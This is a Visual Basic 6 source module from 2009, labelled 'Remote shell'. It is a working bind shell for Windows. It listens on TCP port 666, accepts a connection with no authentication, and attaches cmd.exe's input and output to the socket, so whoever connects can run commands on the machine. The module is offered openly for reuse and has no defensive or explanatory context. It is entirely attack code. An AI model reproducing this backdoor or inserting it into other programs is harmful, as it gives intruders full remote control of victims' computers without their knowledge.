'---------------------------------------------------------------------------------------
' Module      : mMS
' DateTime    : 12/13/2009 20:16
' Author      : Cobein
' Mail        : cobein27@hotmail.com
' WebPage     : http://www.advancevb.com.ar
' Purpose     : Remote shell
' Usage       : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
'               applications, but you may not reproduce
'               or publish this code on any web site,
'               online service, or distribute as source
'               on any media without express permission.
'
' Reference   : NGS - Writing small shellcode paper
'
' History     : 12/13/2009 First Cut....................................................
'---------------------------------------------------------------------------------------
Option Explicit

Private Const INFINITE              As Long = &HFFFF
Private Const SOCK_STREAM           As Long = 1
Private Const AF_INET               As Long = 2
Private Const IPPROTO_TCP           As Long = 6
Private Const STARTF_USESTDHANDLES  As Long = &H100
Private Const STARTF_USESHOWWINDOW  As Long = &H1

Private Const WSADESCRIPTION_LEN    As Long = 257
Private Const WSASYS_STATUS_LEN     As Long = 129

Public Type WSAData
    wVersion                As Integer
    wHighVersion            As Integer
    szDescription           As String * WSADESCRIPTION_LEN
    szSystemStatus          As String * WSASYS_STATUS_LEN
    iMaxSockets             As Integer
    iMaxUdpDg               As Integer
    lpVendorInfo            As Long
End Type

Public Type sockaddr_in
    sin_family              As Integer
    sin_port                As Integer
    sin_addr                As Long
    sin_zero(1 To 8)        As Byte
End Type

Private Type SECURITY_ATTRIBUTES
    nLength                 As Long
    lpSecurityDescriptor    As Long
    bInheritHandle          As Long
End Type

Private Type PROCESS_INFORMATION
    hProcess                As Long
    hThread                 As Long
    dwProcessId             As Long
    dwThreadId              As Long
End Type

Private Type STARTUPINFO
    cb                      As Long
    lpReserved              As String
    lpDesktop               As String
    lpTitle                 As String
    dwX                     As Long
    dwY                     As Long
    dwXSize                 As Long
    dwYSize                 As Long
    dwXCountChars           As Long
    dwYCountChars           As Long
    dwFillAttribute         As Long
    dwFlags                 As Long
    wShowWindow             As Integer
    cbReserved2             As Integer
    lpReserved2             As Byte
    hStdInput               As Long
    hStdOutput              As Long
    hStdError               As Long
End Type

Private Declare Function WSAStartup Lib "ws2_32.dll" (ByVal wVR As Long, lpWSAD As WSAData) As Long
Private Declare Function WSACleanup Lib "ws2_32.dll" () As Long
Private Declare Function bind Lib "ws2_32.dll" (ByVal s As Long, ByRef name As sockaddr_in, ByRef namelen As Long) As Long
Private Declare Function listen Lib "ws2_32.dll" (ByVal s As Long, ByVal backlog As Long) As Long
Private Declare Function accept Lib "ws2_32.dll" (ByVal s As Long, ByRef addr As sockaddr_in, ByRef addrlen As Long) As Long
Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As SECURITY_ATTRIBUTES, lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Private Declare Function htons Lib "wsock32.dll" (ByVal hostshort As Long) As Integer
Private Declare Function WSASocketA Lib "ws2_32.dll" (ByVal af As Long, ByVal lType As Long, ByVal protocol As Long, ByRef lpProtocolInfo As Any, ByRef g As Any, ByVal dwFlags As Long) As Long
Private Declare Function closesocket Lib "wsock32.dll" (ByVal s As Long) As Long

Public Sub Main()
    Dim lSock       As Long
    Dim tSA         As sockaddr_in
    Dim tWD         As WSAData
    Dim lHandle     As Long
    
    Const PORT As Long = 666
    
    If WSAStartup(&H101, tWD) = 0 Then
        lSock = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, ByVal 0&, ByVal 0&, ByVal 0&)
    
        If Not lSock = -1 Then
        
            With tSA
                .sin_family = 2
                .sin_port = htons(PORT)
            End With
            
            If bind(lSock, tSA, Len(tSA)) = 0 Then
   
                If listen(lSock, 0&) = 0 Then
   
                    lHandle = accept(lSock, tSA, Len(tSA))
    
                    Dim tSTARTUPINFO            As STARTUPINFO
                    Dim tPROCESS_INFORMATION    As PROCESS_INFORMATION
                    Dim tSECURITY_ATTRIBUTES    As SECURITY_ATTRIBUTES
    
                    tSECURITY_ATTRIBUTES.nLength = Len(tSECURITY_ATTRIBUTES)
                    
                    With tSTARTUPINFO
                        .cb = Len(tSTARTUPINFO)
                        .dwFlags = STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
                        .hStdInput = lHandle
                        .hStdOutput = lHandle
                        .hStdError = lHandle
                    End With
    
                    If CreateProcessA(vbNullString, "cmd", _
                       tSECURITY_ATTRIBUTES, tSECURITY_ATTRIBUTES, True, 0, _
                       0&, CurDir, tSTARTUPINFO, tPROCESS_INFORMATION) Then
    
                        Call WaitForSingleObject(tPROCESS_INFORMATION.hProcess, INFINITE)
                        
                    End If
                End If
            End If
            
            Call closesocket(lHandle)
        End If

        Call WSACleanup
    End If
End Sub